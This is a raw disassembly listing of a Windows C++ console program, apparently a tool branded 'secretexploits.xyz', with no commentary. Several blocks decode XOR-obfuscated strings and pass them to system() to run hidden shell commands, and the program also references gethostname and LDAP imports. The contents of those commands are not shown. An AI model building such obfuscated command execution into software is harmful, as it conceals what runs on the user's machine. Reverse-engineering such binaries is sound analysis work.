lea rcx, [rbp + 0x9b0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x9c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x9c8], rax
movaps xmm0, xmmword [rbp + 0x9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x9d0]
call fcn.140037ee0
bts r14d, 0x1a
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x9d0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1a
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x9d0]
call fcn.140036980
movups xmm0, xmmword [0x1400b2a38]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b2a48]
movups xmmword [rbp], xmm1
mov eax, dword [0x1400b2a58]
mov dword [rbp + 0x10], eax
xor r8d, r8d
cmp esi, 2
jl 0x14003397d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140033870
cmp r8d, 0x24
jge 0x1400339c3
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140033990
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b4398]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b43a8]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400b43b8]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1400b43c8]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [str.S9]
mov dword [rbp - 0x48], eax
xor r8d, r8d
cmp esi, 2
jl 0x140033b5d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140033a50
cmp r8d, 0x3c
jge 0x140033ba3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140033b70
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x9e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x9e8], rax
movaps xmm0, xmmword [rbp + 0x9e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x9f0]
call fcn.140037ee0
bts r14d, 0x1b
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x9f0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1b
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x9f0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa00], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xa08], rax
movaps xmm0, xmmword [rbp + 0xa00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa10]
call fcn.140037ee0
bts r14d, 0x1c
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xa10]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1c
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0xa10]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xa28], rax
movaps xmm0, xmmword [rbp + 0xa20]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa30]
call fcn.140037ee0
bts r14d, 0x1d
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xa30]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1d
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0xa30]
call fcn.140036980
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x1400b4b10]
movsd qword [rbp + 0x60], xmm0
mov eax, dword [0x1400b4b18]
mov dword [rbp + 0x68], eax
movzx eax, word [0x1400b4b1c]
mov word [rbp + 0x6c], ax
cmp byte [0x1400b4b1d], 0
je 0x140033f83
xor r8d, r8d
cmp esi, 2
jl 0x140033f38
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm2, xmmword [0x1400b4b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400b4b10]
xorps xmm2, xmm0
movd dword [rbp + 0x60], xmm2
movdqa xmm3, xmmword [0x1400b4b60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140033f50
lea rdx, [rbp + 0x60]
mov rcx, r10
call fcn.1400373b0
mov eax, dword [str.QRLT_X_]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400b4a74]
mov word [rbp - 0x14], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x18], 0x67
xor byte [rbp - 0x17], 0x37
xor byte [rbp - 0x16], 0x38
xor byte [rbp - 0x15], 0x39
xor byte [rbp - 0x14], 0x3a
xor byte [rbp - 0x13], 0x3b
xor al, 0x3c
mov byte [rbp - 0x12], al
lea rcx, [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa40], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xa48], rax
movaps xmm0, xmmword [rbp + 0xa40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa50]
call fcn.140037ee0
bts r14d, 0x1e
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xa50]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1e
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0xa50]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa60], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xa68], rax
movaps xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa70]
call fcn.140037ee0
or r14d, 0x80000000
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xa70]
mov rcx, rdi
call fcn.140037300
btr r14d, 0x1f
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0xa70]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa80], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xa88], rax
movaps xmm0, xmmword [rbp + 0xa80]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa90]
call fcn.140037ee0
mov ebx, dword [rbp - 0x20]
or ebx, 1
mov dword [rsp + 0x5c], ebx
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xa90]
mov rcx, rdi
call fcn.140037300
and ebx, 0xfffffffe
mov dword [rbp - 0x20], ebx
mov dword [rsp + 0x5c], ebx
lea rcx, [rbp + 0xa90]
call fcn.140036980
movups xmm0, xmmword [0x1400b4720]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4730]
movups xmmword [rbp], xmm1
movzx eax, word [0x1400b4740]
mov word [rbp + 0x10], ax
xor ebx, ebx
mov r8d, ebx
cmp esi, 2
jl 0x14003438d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034280
cmp r8d, 0x22
jge 0x1400343d3
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400343a0
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [str.qXQW_e_T_5_c___2h__kxn_520W]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b39c0]
movups xmmword [rbp], xmm1
movzx eax, word [0x1400b39d0]
mov word [rbp + 0x10], ax
mov r8d, ebx
cmp esi, 2
jl 0x14003454d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140034440
cmp r8d, 0x22
jge 0x140034593
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140034560
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b2e50]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400b2e60]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140034753
cmp esi, 2
jl 0x140034717
movdqa xmm5, xmmword [0x1400b4b50]
mov edx, ebx
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140034610
jmp 0x140034753
lea r9, [rsp + 0x60]
mov r8d, ebx
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140034720
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov ecx, 0x3a98
jmp 0x1400367f9
lea rcx, [rbp + 0xe30]
cmp rdi, 0xf
cmova rcx, r13
cmp rbx, 1
jne 0x14003601e
mov r8, rbx
lea rdx, [0x1400b22a8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003601e
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140034893
cmp esi, 2
jl 0x140034854
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x140034893
lea r9, [rbp + 0xe28]
xor r8d, r8d
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140034860
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xaa0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xaa8], rax
movaps xmm0, xmmword [rbp + 0xaa0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xab0]
call fcn.140037ee0
mov esi, dword [rbp - 0x20]
or esi, 2
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xab0]
mov rcx, rdi
call fcn.140037300
and esi, 0xfffffffd
mov dword [rsp + 0x5c], esi
